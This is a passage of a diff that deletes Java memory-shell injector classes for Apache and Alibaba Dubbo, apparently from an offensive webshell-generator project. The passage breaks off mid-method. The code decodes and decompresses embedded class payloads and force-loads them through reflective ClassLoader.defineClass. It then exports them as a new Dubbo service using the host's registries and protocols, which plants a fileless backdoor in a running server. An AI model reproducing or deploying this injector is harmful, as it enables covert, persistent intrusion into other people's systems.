-        validateServiceTypes(serviceInterface, serviceImpl);
-
-        ServiceConfig<?> serviceConfig = createServiceConfig(servicePath, serviceInterface, instantiate(serviceImpl));
-        if (dynamicServices.putIfAbsent(servicePath, serviceConfig) != null) {
-            return resolveServiceAddresses(servicePath);
-        }
-
-        try {
-            serviceConfig.export();
-            return resolveServiceAddresses(servicePath);
-        } catch (RuntimeException e) {
-            dynamicServices.remove(servicePath, serviceConfig);
-            throw e;
-        }
-    }
-
-    private Class<?> loadClass(String payload) throws Exception {
-        ClassLoader classLoader = ClassHelper.getClassLoader(ClassGenerator.class);
-        byte[] classBytes = gzipDecompress(decodeBase64(payload));
-        definePackageIfNeeded(classLoader, getClassName());
-        Class<?> loadedClass = defineClass(classLoader, classBytes);
-        registerInJavassistClassPool(classLoader, classBytes);
-        return loadedClass;
-    }
-
-    private Class<?> defineClass(ClassLoader classLoader, byte[] classBytes) throws Exception {
-        ProtectionDomain protectionDomain = ClassGenerator.class.getProtectionDomain();
-        Method defineClass = ClassLoader.class.getDeclaredMethod(
-                "defineClass",
-                String.class,
-                byte[].class,
-                int.class,
-                int.class,
-                ProtectionDomain.class
-        );
-        defineClass.setAccessible(true);
-        return (Class<?>) defineClass.invoke(classLoader, null, classBytes, 0, classBytes.length, protectionDomain);
-    }
-
-    private void definePackageIfNeeded(ClassLoader classLoader, String className) {
-        int packageEnd = className.lastIndexOf('.');
-        if (packageEnd < 0) {
-            return;
-        }
-
-        String packageName = className.substring(0, packageEnd);
-        try {
-            Method getPackage = ClassLoader.class.getDeclaredMethod("getPackage", String.class);
-            getPackage.setAccessible(true);
-            if (getPackage.invoke(classLoader, packageName) != null) {
-                return;
-            }
-
-            Method definePackage = ClassLoader.class.getDeclaredMethod(
-                    "definePackage",
-                    String.class,
-                    String.class,
-                    String.class,
-                    String.class,
-                    String.class,
-                    String.class,
-                    String.class,
-                    java.net.URL.class
-            );
-            definePackage.setAccessible(true);
-            definePackage.invoke(classLoader, packageName, null, null, null, null, null, null, null);
-        } catch (Exception ignored) {
-            // Defining the package is a convenience for older class loaders. The class can still load without it.
-        }
-    }
-
-    private void registerInJavassistClassPool(ClassLoader classLoader, byte[] classBytes) {
-        try {
-            ClassPool classPool = ClassGenerator.getClassPool(classLoader);
-            classPool.makeClass(new ByteArrayInputStream(classBytes));
-        } catch (Throwable ignored) {
-            // Dubbo's proxy generator can still resolve already-defined classes if Javassist registration fails.
-        }
-    }
-
-    private static byte[] decodeBase64(String value) throws Exception {
-        Object decoder = Class.forName("sun.misc.BASE64Decoder").newInstance();
-        return (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, value);
-    }
-
-    private static byte[] gzipDecompress(byte[] bytes) throws Exception {
-        GZIPInputStream inputStream = null;
-        ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
-        try {
-            inputStream = new GZIPInputStream(new ByteArrayInputStream(bytes));
-            byte[] buffer = new byte[4096];
-            int read;
-            while ((read = inputStream.read(buffer)) > 0) {
-                outputStream.write(buffer, 0, read);
-            }
-            return outputStream.toByteArray();
-        } finally {
-            if (inputStream != null) {
-                inputStream.close();
-            }
-            outputStream.close();
-        }
-    }
-
-    private void validateServiceTypes(Class<?> serviceInterface, Class<?> serviceImpl) {
-        if (!serviceInterface.isInterface()) {
-            throw new IllegalArgumentException("not an interface: " + serviceInterface.getName());
-        }
-        if (serviceImpl.isInterface() || Modifier.isAbstract(serviceImpl.getModifiers())) {
-            throw new IllegalArgumentException("implementation class is not instantiable: " + serviceImpl.getName());
-        }
-        if (!serviceInterface.isAssignableFrom(serviceImpl)) {
-            throw new IllegalArgumentException(serviceImpl.getName() + " does not implement " + serviceInterface.getName());
-        }
-    }
-
-    private Object instantiate(Class<?> serviceImpl) {
-        try {
-            Constructor<?> constructor = serviceImpl.getDeclaredConstructor();
-            constructor.setAccessible(true);
-            return constructor.newInstance();
-        } catch (Exception e) {
-            throw new IllegalArgumentException("failed to instantiate " + serviceImpl.getName(), e);
-        }
-    }
-
-    private ServiceConfig<Object> createServiceConfig(String servicePath, Class<?> serviceInterface, Object serviceImpl) {
-        ServiceConfig<Object> serviceConfig = new ServiceConfig<Object>();
-        serviceConfig.setInterface(serviceInterface);
-        serviceConfig.setRef(serviceImpl);
-        serviceConfig.setPath(servicePath);
-
-        ProviderConfig providerConfig = findProviderConfig();
-        if (providerConfig != null) {
-            serviceConfig.setProvider(providerConfig);
-            if (notEmpty(providerConfig.getVersion())) {
-                serviceConfig.setVersion(providerConfig.getVersion());
-            }
-        }
-
-        ApplicationConfig applicationConfig = findApplicationConfig(providerConfig);
-        if (applicationConfig != null) {
-            serviceConfig.setApplication(applicationConfig);
-        }
-
-        List<ProtocolConfig> protocolConfigs = findProtocolConfigs(providerConfig);
-        if (!protocolConfigs.isEmpty()) {
-            serviceConfig.setProtocols(protocolConfigs);
-        }
-
-        List<RegistryConfig> registryConfigs = findRegistryConfigs(providerConfig, applicationConfig);
-        if (!registryConfigs.isEmpty()) {
-            serviceConfig.setRegistries(registryConfigs);
-        }
-
-        return serviceConfig;
-    }
-
-    private ServiceConfig<?> findRegisteredService(String servicePath) {
-        String normalizedPath = normalizePath(servicePath);
-        for (ProviderModel providerModel : providerModels()) {
-            ServiceConfig<?> serviceConfig = providerModel.getMetadata();
-            if (serviceConfig != null && normalizedPath.equals(normalizePath(serviceConfig.getPath()))) {
-                return serviceConfig;
-            }
-        }
-        return null;
-    }
-
-    private ProviderConfig findProviderConfig() {
-        for (ProviderModel providerModel : providerModels()) {
-            ServiceConfig<?> serviceConfig = providerModel.getMetadata();
-            if (serviceConfig != null && serviceConfig.getProvider() != null) {
-                return serviceConfig.getProvider();
-            }
-        }
-        return null;
-    }
-
-    private ApplicationConfig findApplicationConfig(ProviderConfig providerConfig) {
-        if (providerConfig != null && providerConfig.getApplication() != null) {
-            return providerConfig.getApplication();
-        }
-
-        for (ProviderModel providerModel : providerModels()) {
-            com.alibaba.dubbo.config.ServiceConfig<?> serviceConfig = providerModel.getMetadata();
-            if (serviceConfig == null) {
-                continue;
-            }
-            if (serviceConfig.getApplication() != null) {
-                return serviceConfig.getApplication();
-            }
-            if (serviceConfig.getProvider() != null && serviceConfig.getProvider().getApplication() != null) {
-                return serviceConfig.getProvider().getApplication();
-            }
-        }
-        return null;
-    }
-
-    private List<ProtocolConfig> findProtocolConfigs(ProviderConfig providerConfig) {
-        List<ProtocolConfig> protocols = new ArrayList<ProtocolConfig>();
-        addProtocols(protocols, providerConfig == null ? null : providerConfig.getProtocols());
-        for (ProviderModel providerModel : providerModels()) {
-            ServiceConfig<?> serviceConfig = providerModel.getMetadata();
-            if (serviceConfig == null) {
-                continue;
-            }
-            addProtocols(protocols, serviceConfig.getProtocols());
-            addProtocols(protocols, serviceConfig.getProvider() == null ? null : serviceConfig.getProvider().getProtocols());
-        }
-        return uniqueProtocols(protocols);
-    }
-
-    private List<RegistryConfig> findRegistryConfigs(ProviderConfig providerConfig, ApplicationConfig applicationConfig) {
-        List<RegistryConfig> registries = registries(providerConfig == null ? null : providerConfig.getRegistries());
-        if (!registries.isEmpty()) {
-            return registries;
-        }
-
-        registries = registries(applicationConfig == null ? null : applicationConfig.getRegistries());
-        if (!registries.isEmpty()) {
-            return registries;
-        }
-
-        for (ProviderModel providerModel : providerModels()) {
-            ServiceConfig<?> serviceConfig = providerModel.getMetadata();
-            if (serviceConfig == null) {
-                continue;
-            }
-
-            registries = registries(serviceConfig.getRegistries());
-            if (!registries.isEmpty()) {
-                return registries;
-            }
-
-            ProviderConfig serviceProvider = serviceConfig.getProvider();
-            registries = registries(serviceProvider == null ? null : serviceProvider.getRegistries());
-            if (!registries.isEmpty()) {
-                return registries;
-            }
-
-            ApplicationConfig serviceApplication = serviceConfig.getApplication();
-            registries = registries(serviceApplication == null ? null : serviceApplication.getRegistries());
-            if (!registries.isEmpty()) {
-                return registries;
-            }
-        }
-
-        return new ArrayList<RegistryConfig>();
-    }
-
-    private String resolveServiceAddresses(String servicePath) {
-        String normalizedPath = normalizePath(servicePath);
-        ServiceConfig<?> serviceConfig = dynamicServices.get(normalizedPath);
-        if (serviceConfig == null) {
-            serviceConfig = findRegisteredService(normalizedPath);
-        }
-        if (serviceConfig == null) {
-            return normalizedPath;
-        }
-
-        List<URL> exportedUrls = serviceConfig.getExportedUrls();
-        if (exportedUrls != null && !exportedUrls.isEmpty()) {
-            return formatUrls(exportedUrls);
-        }
-
-        List<ProtocolConfig> protocols = uniqueProtocols(serviceConfig.getProtocols());
-        if (protocols.isEmpty() && serviceConfig.getProvider() != null) {
-            protocols = uniqueProtocols(serviceConfig.getProvider().getProtocols());
-        }
-        if (protocols.isEmpty()) {
-            return normalizedPath;
-        }
-
-        return formatProtocolAddresses(protocols, normalizedPath);
-    }
-
-    private String formatUrls(List<URL> urls) {
-        StringBuilder builder = new StringBuilder();
-        for (URL url : urls) {
-            if (builder.length() > 0) {
-                builder.append(", ");
-            }
-            builder.append(formatUrl(url));
-        }
-        return builder.toString();
-    }
-
-    private String formatProtocolAddresses(List<ProtocolConfig> protocols, String path) {
-        StringBuilder builder = new StringBuilder();
-        for (ProtocolConfig protocol : protocols) {
-            if (builder.length() > 0) {
-                builder.append(", ");
-            }
-            builder.append(formatProtocolAddress(protocol, path));
-        }
-        return builder.toString();
-    }
-
-    private String formatUrl(URL url) {
-        String path = normalizePath(url.getPath());
-        int port = url.getPort();
-        return port > 0
-                ? String.format("%s://%s:%d/%s", url.getProtocol(), DISPLAY_HOST, port, path)
-                : String.format("%s://%s/%s", url.getProtocol(), DISPLAY_HOST, path);
-    }
-
-    private String formatProtocolAddress(ProtocolConfig protocol, String path) {
-        String protocolName = notEmpty(protocol.getName()) ? protocol.getName() : "dubbo";
-        Integer port = protocol.getPort();
-        return port != null && port > 0
-                ? String.format("%s://%s:%d/%s", protocolName, DISPLAY_HOST, port, path)
-                : String.format("%s://%s/%s", protocolName, DISPLAY_HOST, path);
-    }
-
-    private List<ProviderModel> providerModels() {
-        try {
-            return ApplicationModel.allProviderModels();
-        } catch (Throwable ignored) {
-            return new ArrayList<ProviderModel>();
-        }
-    }
-
-    private void addProtocols(List<ProtocolConfig> target, List<ProtocolConfig> source) {
-        if (source != null) {
-            target.addAll(source);
-        }
-    }
-
-    private List<ProtocolConfig> uniqueProtocols(List<ProtocolConfig> protocols) {
-        Map<String, ProtocolConfig> unique = new LinkedHashMap<String, ProtocolConfig>();
-        if (protocols != null) {
-            for (ProtocolConfig protocol : protocols) {
-                if (protocol != null) {
-                    unique.put(protocolKey(protocol), protocol);
-                }
-            }
-        }
-        return new ArrayList<ProtocolConfig>(unique.values());
-    }
-
-    private List<RegistryConfig> registries(List<RegistryConfig> registries) {
-        return registries == null ? new ArrayList<RegistryConfig>() : new ArrayList<RegistryConfig>(registries);
-    }
-
-    private String protocolKey(ProtocolConfig protocol) {
-        return String.valueOf(protocol.getName())
-                + "|"
-                + String.valueOf(protocol.getHost())
-                + "|"
-                + String.valueOf(protocol.getPort())
-                + "|"
-                + String.valueOf(protocol.getServer())
-                + "|"
-                + String.valueOf(protocol.getId());
-    }
-
-    private String normalizePath(String path) {
-        if (path == null) {
-            return "";
-        }
-
-        String normalized = path.trim();
-        while (normalized.startsWith("/")) {
-            normalized = normalized.substring(1);
-        }
-        return normalized;
-    }
-
-    private boolean notEmpty(String value) {
-        return value != null && !value.isEmpty();
-    }
-
-    private String stackTrace(Throwable throwable) {
-        StringWriter writer = new StringWriter();
-        throwable.printStackTrace(new PrintWriter(writer));
-        return writer.toString();
-    }
-}

generator/src/main/java/com/reajason/javaweb/memshell/injector/dubbo/ApacheDubboServiceInjector.java

@@ -1,616 +0,0 @@
-package com.reajason.javaweb.memshell.injector.dubbo;
-
-import javassist.ClassPool;
-import org.apache.dubbo.common.bytecode.ClassGenerator;
-import org.apache.dubbo.config.*;
-import org.apache.dubbo.rpc.model.ApplicationModel;
-
-import java.io.*;
-import java.lang.reflect.Constructor;
-import java.lang.reflect.Field;
-import java.lang.reflect.Method;
-import java.lang.reflect.Modifier;
-import java.security.ProtectionDomain;
-import java.util.*;
-import java.util.concurrent.ConcurrentHashMap;
-import java.util.stream.Collectors;
-import java.util.zip.GZIPInputStream;
-
-public class ApacheDubboServiceInjector {
-    private final Map<String, ServiceConfig<?>> DYNAMIC_SERVICES = new ConcurrentHashMap<>();
-    private static final String DISPLAY_HOST = "x.x.x.x";
-    private static String msg = "";
-    private static boolean ok = false;
-
-    public String getUrlPattern() {
-        return "{{urlPattern}}";
-    }
-
-    public String getClassName() {
-        return "{{className}}";
-    }
-
-    public String getBase64String() {
-        return "{{base64Str}}";
-    }
-
-    public String getHelperBase64String() {
-        return "{{helperBase64String}}";
-    }
-
-    public ApacheDubboServiceInjector() {
-        if (ok) {
-            return;
-        }
-        try {
-            msg += registerService();
-        } catch (Throwable e) {
-            msg += "unexcepted error: " + getErrorMessage(e);
-        }
-        ok = true;
-        System.out.println(msg);
-    }
-
-    private Class<?> loadClass(String payload) throws Exception {
-        ClassLoader classLoader = resolveDubboClassLoader();
-        byte[] classBytes = gzipDecompress(decodeBase64(payload));
-        definePackageIfNeeded(classLoader, getClassName());
-        Class<?> loadedClass = defineClass(classLoader, classBytes);
-        registerInJavassistClassPool(classLoader, loadedClass.getName(), classBytes);
-        msg += "[" + classLoader.getClass().getName() + "] ";
-        return loadedClass;
-    }
-
-    private ClassLoader resolveDubboClassLoader() {
-        ClassLoader classLoader = invokeDubboClassLoader("org.apache.dubbo.common.utils.ClassHelper");
-        if (classLoader != null) {
-            return classLoader;
-        }
-        classLoader = invokeDubboClassLoader("org.apache.dubbo.common.utils.ClassUtils");
-        if (classLoader != null) {
-            return classLoader;
-        }
-        classLoader = ClassGenerator.class.getClassLoader();
-        return classLoader != null ? classLoader : Thread.currentThread().getContextClassLoader();
-    }
-
-    private ClassLoader invokeDubboClassLoader(String className) {
-        try {
-            Class<?> helperClass = Class.forName(className);
-            return (ClassLoader) helperClass.getMethod("getClassLoader", Class.class).invoke(null, ClassGenerator.class);
-        } catch (Throwable ignored) {
-            return null;
-        }
-    }
-
-    private Class<?> defineClass(ClassLoader classLoader, byte[] classBytes) throws Exception {
-        ProtectionDomain protectionDomain = ClassGenerator.class.getProtectionDomain();
-        Method defineClass = ClassLoader.class.getDeclaredMethod(
-                "defineClass",
-                String.class,
-                byte[].class,
-                int.class,
-                int.class,
-                ProtectionDomain.class
-        );
-        defineClass.setAccessible(true);
-        return (Class<?>) defineClass.invoke(classLoader, null, classBytes, 0, classBytes.length, protectionDomain);
-    }
-
-    private void definePackageIfNeeded(ClassLoader classLoader, String className) {
-        int packageEnd = className.lastIndexOf('.');
-        if (packageEnd < 0) {
-            return;
-        }
-        String packageName = className.substring(0, packageEnd);
-        try {
-            Method getPackage = ClassLoader.class.getDeclaredMethod("getPackage", String.class);
-            getPackage.setAccessible(true);
-            if (getPackage.invoke(classLoader, packageName) != null) {
-                return;
-            }
-            Method definePackage = ClassLoader.class.getDeclaredMethod(
-                    "definePackage",
-                    String.class,
-                    String.class,
-                    String.class,
-                    String.class,
-                    String.class,
-                    String.class,
-                    String.class,
-                    java.net.URL.class
-            );
-            definePackage.setAccessible(true);
-            definePackage.invoke(classLoader, packageName, null, null, null, null, null, null, null);
-        } catch (Exception ignored) {
-        }
-    }
-
-    public String toString() {
-        return msg;
-    }
-
-    private void registerInJavassistClassPool(ClassLoader classLoader, String className, byte[] classBytes) {
-        try {
-            ClassPool classPool = ClassGenerator.getClassPool(classLoader);
-            try {
-                classPool.getClass().getMethod("makeClassIfNew", InputStream.class).invoke(classPool, new ByteArrayInputStream(classBytes));
-            } catch (NoSuchMethodException e) {
-                classPool.getClass().getMethod("makeClass", InputStream.class).invoke(classPool, new ByteArrayInputStream(classBytes));
-            }
-        } catch (Throwable ignored) {
-        }
-        insertByteArrayClassPath(className, classLoader, classBytes);
-    }
-
-    private void insertByteArrayClassPath(String className, ClassLoader classLoader, byte[] classBytes) {
-        try {
-            Class<?> classPoolClass = Class.forName("javassist.ClassPool");
-            Class<?> classPathClass = Class.forName("javassist.ClassPath");
-            Class<?> byteArrayClassPathClass = Class.forName("javassist.ByteArrayClassPath");
-            insertClassPath(classPoolClass.getMethod("getDefault").invoke(null), classPoolClass, classPathClass, byteArrayClassPathClass, className, classBytes);
-            insertClassPath(ClassGenerator.getClassPool(classLoader), classPoolClass, classPathClass, byteArrayClassPathClass, className, classBytes);
-        } catch (Throwable ignored) {
-        }
-    }
-
-    private void insertClassPath(Object classPool, Class<?> classPoolClass, Class<?> classPathClass, Class<?> byteArrayClassPathClass, String className, byte[] classBytes) throws Exception {
-        if (classPoolClass.getMethod("find", String.class).invoke(classPool, className) == null) {
-            classPoolClass.getMethod("insertClassPath", classPathClass).invoke(classPool, byteArrayClassPathClass.getConstructor(String.class, byte[].class).newInstance(className, classBytes));
-        }
-    }
-
-    public static byte[] decodeBase64(String str) throws Exception {
-        return Base64.getDecoder().decode(str);
-    }
-
-    public static byte[] gzipDecompress(byte[] bArr) throws IOException {
-        try (ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
-             GZIPInputStream gZIPInputStream = new GZIPInputStream(new ByteArrayInputStream(bArr))) {
-            byte[] bArr2 = new byte[4096];
-            int i;
-            while ((i = gZIPInputStream.read(bArr2)) > 0) {
-                byteArrayOutputStream.write(bArr2, 0, i);
-            }
-            return byteArrayOutputStream.toByteArray();
-        }
-    }
-
-    public String registerService() throws Exception {
-        String strNormalizePath = normalizePath(getUrlPattern());
-        if (strNormalizePath.isEmpty()) {
-            throw new IllegalArgumentException("path must not be empty");
-        }
-        if (!DYNAMIC_SERVICES.containsKey(strNormalizePath) && !isPathRegisteredInFramework(strNormalizePath)) {
-            Class<?> shell = loadClass(getHelperBase64String());
-            Class<?> shell2 = loadClass(getBase64String());
-            validateServiceTypes(shell, shell2);
-            ServiceConfig<?> serviceConfigCreateServiceConfig = createServiceConfig(strNormalizePath, shell, instantiate(shell2));
-            if (DYNAMIC_SERVICES.putIfAbsent(strNormalizePath, serviceConfigCreateServiceConfig) != null) {
-                return resolveServiceAddresses(strNormalizePath);
-            }
-            try {
-                serviceConfigCreateServiceConfig.export();
-                return resolveServiceAddresses(strNormalizePath);
-            } catch (RuntimeException e) {
-                DYNAMIC_SERVICES.remove(strNormalizePath, serviceConfigCreateServiceConfig);
-                throw e;
-            }
-        }
-        return resolveServiceAddresses(strNormalizePath);
-    }
-
-    private boolean isPathRegisteredInFramework(String str) {
-        try {
-            for (Object obj : getRegisteredServices()) {
-                if (str.equals(obj.getClass().getMethod("getPath").invoke(obj))) {
-                    return true;
-                }
-            }
-            return false;
-        } catch (Exception e) {
-            return false;
-        }
-    }
-
-    private Collection<?> getRegisteredServices() {
-        try {
-            Object configManager = resolveConfigManager();
-            return toList(invokeNoArgs(configManager, "getServices"));
-        } catch (Exception e) {
-            try {
-                Object objInvoke = ApplicationModel.class.getMethod("defaultModel").invoke(null);
-                Object objInvoke2 = objInvoke.getClass().getMethod("getDefaultModule").invoke(objInvoke);
-                Object objInvoke3 = objInvoke2.getClass().getMethod("getConfigManager").invoke(objInvoke2);
-                return toList(invokeNoArgs(objInvoke3, "getServices"));
-            } catch (Exception e2) {
-                return new ArrayList<>();
-            }
-        }
-    }
-
-    private String normalizePath(String str) {
-        if (str == null) {
-            return "";
-        }
-        String strTrim = str.trim();
-        while (true) {
-            String str2 = strTrim;
-            if (!str2.startsWith("/")) {
-                return str2;
-            }
-            strTrim = str2.substring(1);
-        }
-    }
-
-    private void validateServiceTypes(Class<?> cls, Class<?> cls2) {
-        if (!cls.isInterface()) {
-            throw new IllegalArgumentException("not an interface: " + cls.getName());
-        }
-        if (cls2.isInterface() || Modifier.isAbstract(cls2.getModifiers())) {
-            throw new IllegalArgumentException("implementation class is not instantiable: " + cls2.getName());
-        }
-        if (!cls.isAssignableFrom(cls2)) {
-            throw new IllegalArgumentException(cls2.getName() + " does not implement " + cls.getName());
-        }
-    }
-
-    private Object instantiate(Class<?> cls) {
-        try {
-            Constructor<?> declaredConstructor = cls.getDeclaredConstructor();
-            declaredConstructor.setAccessible(true);
-            return declaredConstructor.newInstance();
-        } catch (Exception e) {
-            throw new IllegalArgumentException("failed to instantiate " + cls.getName(), e);
-        }
-    }
-
-    private ServiceConfig<Object> createServiceConfig(String str, Class<?> cls, Object obj) {
-        Object configManager = resolveConfigManager();
-        ProviderConfig providerConfigResolveDefaultProvider = resolveDefaultProvider(configManager);
-        ProviderConfig providerConfigSanitizeProviderConfig = sanitizeProviderConfig(providerConfigResolveDefaultProvider);
-        ServiceConfig<Object> serviceConfig = new ServiceConfig<>();
-        serviceConfig.setInterface(cls);
-        serviceConfig.setRef(obj);
-        serviceConfig.setPath(str);
-        serviceConfig.setProxy("jdk");
-        if (providerConfigSanitizeProviderConfig != null) {
-            serviceConfig.setProvider(providerConfigSanitizeProviderConfig);
-        }
-        ApplicationConfig applicationConfig = castApplicationConfig(extractOptionalValue(invokeNoArgs(configManager, "getApplication")));
-        if (applicationConfig != null) {
-            serviceConfig.setApplication(applicationConfig);
-        }
-        String strResolveConfiguredVersion = resolveConfiguredVersion(providerConfigResolveDefaultProvider);
-        if (strResolveConfiguredVersion != null) {
-            serviceConfig.setVersion(strResolveConfiguredVersion);
-        }
-        serviceConfig.setProtocols(resolveConfiguredProtocols(providerConfigResolveDefaultProvider, configManager));
-        serviceConfig.setRegistries(resolveRegistriesForExport(castRegistries(toList(invokeNoArgs(configManager, "getDefaultRegistries"))), castRegistries(toList(invokeNoArgs(configManager, "getRegistries")))));
-        return serviceConfig;
-    }
-
-    private ProviderConfig resolveDefaultProvider(Object obj) {
-        ProviderConfig providerConfigCastProviderConfig = castProviderConfig(extractOptionalValue(invokeNoArgs(obj, "getDefaultProvider")));
-        if (providerConfigCastProviderConfig != null) {
-            return providerConfigCastProviderConfig;
-        }
-        Object objInvokeNoArgs = invokeNoArgs(obj, "getDefaultModule");
-        if (objInvokeNoArgs == null) {
-            objInvokeNoArgs = invokeNoArgs(invokeStaticNoArgs(ApplicationModel.class, "defaultModel"), "getDefaultModule");
-        }
-        Object objInvokeNoArgs2 = invokeNoArgs(objInvokeNoArgs, "getConfigManager");
-        ProviderConfig providerConfigCastProviderConfig2 = castProviderConfig(extractOptionalValue(invokeNoArgs(objInvokeNoArgs2, "getDefaultProvider")));
-        return providerConfigCastProviderConfig2 != null ? providerConfigCastProviderConfig2 : castProviderConfig(firstElement(toList(invokeNoArgs(objInvokeNoArgs2, "getProviders"))));
-    }
-
-    private ProviderConfig sanitizeProviderConfig(ProviderConfig providerConfig) {
-        if (providerConfig == null) {
-            return null;
-        }
-        List registries = providerConfig.getRegistries();
-        if (registries == null || filterValidRegistries(registries).size() == registries.size()) {
-            return providerConfig;
-        }
-        return null;
-    }
-
-    private List<RegistryConfig> filterValidRegistries(Collection<RegistryConfig> collection) {
-        if (collection == null) {
-            return new ArrayList<>();
-        }
-        return collection.stream()
-                .filter(registryConfig -> registryConfig != null && registryConfig.isValid())
-                .collect(Collectors.toList());
-    }
-
-    private List<RegistryConfig> resolveRegistriesForExport(Collection<RegistryConfig> collection, Collection<RegistryConfig> collection2) {
-        List<RegistryConfig> listFilterValidRegistries = filterValidRegistries(collection);
-        if (!listFilterValidRegistries.isEmpty()) {
-            return listFilterValidRegistries;
-        }
-        List<RegistryConfig> listFilterValidRegistries2 = filterValidRegistries(collection2);
-        return !listFilterValidRegistries2.isEmpty() ? listFilterValidRegistries2 : Collections.singletonList(new RegistryConfig("N/A"));
-    }
-
-    private String resolveConfiguredVersion(Object obj) {
-        return stringValue(invokeNoArgs(obj, "getVersion"), null);
-    }
-
-    private List<ProtocolConfig> resolveConfiguredProtocols(ProviderConfig providerConfig, Object configManager) {
-        return resolveConfiguredProtocols(providerConfig, configManager, getRegisteredServices());
-    }
-
-    private List<ProtocolConfig> resolveConfiguredProtocols(ProviderConfig providerConfig, Object configManager, Collection<?> collection) {
-        return mergeProtocols(mergeProtocols(mergeProtocols(providerConfig == null ? null : providerConfig.getProtocols(), castProtocols(toList(invokeNoArgs(configManager, "getDefaultProtocols")))), castProtocols(toList(invokeNoArgs(configManager, "getProtocols")))), collectProtocolsFromServices(collection));
-    }
-
-    private List<ProtocolConfig> collectProtocolsFromServices(Collection<?> collection) {
-        List<ProtocolConfig> arrayList = new ArrayList<>();
-        if (collection != null) {
-            try {
-                for (Object service : collection) {
-                    try {
-                        arrayList.addAll(castProtocols(toList(invokeNoArgs(service, "getProtocols"))));
-                    } catch (Exception e) {
-                    }
-                }
-            } catch (Exception e2) {
-            }
-        }
-        try {
-            for (Object exportedProvider : getExportedProviders()) {
-                try {
-                    Object objInvokeNoArgs = invokeNoArgs(exportedProvider, "getServiceConfig");
-                    if (objInvokeNoArgs != null) {
-                        arrayList.addAll(castProtocols(toList(invokeNoArgs(objInvokeNoArgs, "getProtocols"))));
-                    }
-                } catch (Exception e3) {
-                }
-            }
-        } catch (Exception e4) {
-        }
-        return arrayList;
-    }
-
-    private Collection<?> getExportedProviders() {
-        try {
-            Object objInvoke = ApplicationModel.class.getMethod("getServiceRepository").invoke(null);
-            return (Collection) objInvoke.getClass().getMethod("getExportedServices").invoke(objInvoke);
-        } catch (Exception e) {
-            try {
-                Object objInvoke2 = ApplicationModel.class.getMethod("defaultModel").invoke(null);
-                Object objInvoke3 = objInvoke2.getClass().getMethod("getDefaultModule").invoke(objInvoke2);
-                Object objInvoke4 = objInvoke3.getClass().getMethod("getServiceRepository").invoke(objInvoke3);
-                return (Collection) objInvoke4.getClass().getMethod("getExportedServices").invoke(objInvoke4);
-            } catch (Exception e2) {
-                return new ArrayList<>();
-            }
-        }
-    }
-
-    private String resolveServiceAddresses(String str) {
-        String strNormalizePath = normalizePath(str);
-        Object objFindRegisteredService = DYNAMIC_SERVICES.get(strNormalizePath);
-        if (objFindRegisteredService == null) {
-            objFindRegisteredService = findRegisteredService(strNormalizePath);
-        }
-        if (objFindRegisteredService == null) {
-            return strNormalizePath;
-        }
-        List<?> listExtractExportedUrls = extractExportedUrls(objFindRegisteredService);
-        if (!listExtractExportedUrls.isEmpty()) {
-            return formatUrls(listExtractExportedUrls);
-        }
-        List<?> listResolveProtocols = resolveProtocols(objFindRegisteredService);
-        if (listResolveProtocols.isEmpty()) {
-            return strNormalizePath;
-        }
-        return formatProtocolAddresses(listResolveProtocols, strNormalizePath);
-    }
-
-    private Object findRegisteredService(String str) {
-        for (Object obj : getRegisteredServices()) {
-            if (str.equals(normalizePath(stringValue(invokeNoArgs(obj, "getPath"), "")))) {
-                return obj;
-            }
-        }
-        return null;
-    }
-
-    private List<?> extractExportedUrls(Object obj) {
-        List<?> list = toList(invokeNoArgs(obj, "getExportedUrls"));
-        if (!list.isEmpty()) {
-            return list;
-        }
-        List<?> list2 = toList(getFieldValue(obj, "exporters"));
-        if (list2.isEmpty()) {
-            return new ArrayList<>();
-        }
-        List<Object> arrayList = new ArrayList<>();
-        for (Object exporter : list2) {
-            Object objInvokeNoArgs = invokeNoArgs(invokeNoArgs(exporter, "getInvoker"), "getUrl");
-            if (objInvokeNoArgs != null) {
-                arrayList.add(objInvokeNoArgs);
-            }
-        }
-        return arrayList;
-    }
-
-    private List<?> resolveProtocols(Object obj) {
-        List<?> list = toList(invokeNoArgs(obj, "getProtocols"));
-        Object objInvokeNoArgs = invokeNoArgs(obj, "getProvider");
-        List<ProtocolConfig> listResolveConfiguredProtocols = resolveConfiguredProtocols(objInvokeNoArgs instanceof ProviderConfig ? (ProviderConfig) objInvokeNoArgs : null, resolveConfigManager());
-        return list.isEmpty() ? listResolveConfiguredProtocols : mergeProtocols(castProtocols(list), listResolveConfiguredProtocols);
-    }
-
-    private Object invokeNoArgs(Object obj, String str) {
-        if (obj == null) {
-            return null;
-        }
-        try {
-            return obj.getClass().getMethod(str).invoke(obj);
-        } catch (Exception e) {
-            return null;
-        }
-    }
-
-    private Object invokeStaticNoArgs(Class<?> cls, String str) {
-        try {
-            return cls.getMethod(str).invoke(null);
-        } catch (Exception e) {
-            return null;
-        }
-    }
-
-    private Object getFieldValue(Object obj, String str) {
-        if (obj == null) {
-            return null;
-        }
-        Class<?> superclass = obj.getClass();
-        while (true) {
-            Class<?> cls = superclass;
-            if (cls == null) {
-                return null;
-            }
-            try {
-                Field declaredField = cls.getDeclaredField(str);
-                declaredField.setAccessible(true);
-                return declaredField.get(obj);
-            } catch (Exception e) {
-                superclass = cls.getSuperclass();
-            }
-        }
-    }
-
-    private List<?> toList(Object obj) {
-        Object value = extractOptionalValue(obj);
-        if (value instanceof Collection) {
-            return new ArrayList<>((Collection<?>) value);
-        }
-        if (value instanceof Map) {
-            return new ArrayList<>(((Map<?, ?>) value).values());
-        }
-        return new ArrayList<>();
-    }
-
-    private Object extractOptionalValue(Object obj) {
-        if (obj instanceof Optional) {
-            return ((Optional<?>) obj).orElse(null);
-        }
-        return obj;
-    }
-
-    private Object firstElement(List<?> list) {
-        if (list.isEmpty()) {
-            return null;
-        }
-        return list.get(0);
-    }
-
-    private ProviderConfig castProviderConfig(Object obj) {
-        if (obj instanceof ProviderConfig) {
-            return (ProviderConfig) obj;
-        }
-        return null;
-    }
-
-    private ApplicationConfig castApplicationConfig(Object obj) {
-        if (obj instanceof ApplicationConfig) {
-            return (ApplicationConfig) obj;
-        }
-        return null;
-    }
-
-    private List<RegistryConfig> castRegistries(List<?> list) {
-        return list.stream()
-                .filter(RegistryConfig.class::isInstance)
-                .map(RegistryConfig.class::cast)
-                .collect(Collectors.toList());
-    }
-
-    private Object resolveConfigManager() {
-        Object objInvokeStaticNoArgs = invokeStaticNoArgs(ApplicationModel.class, "getConfigManager");
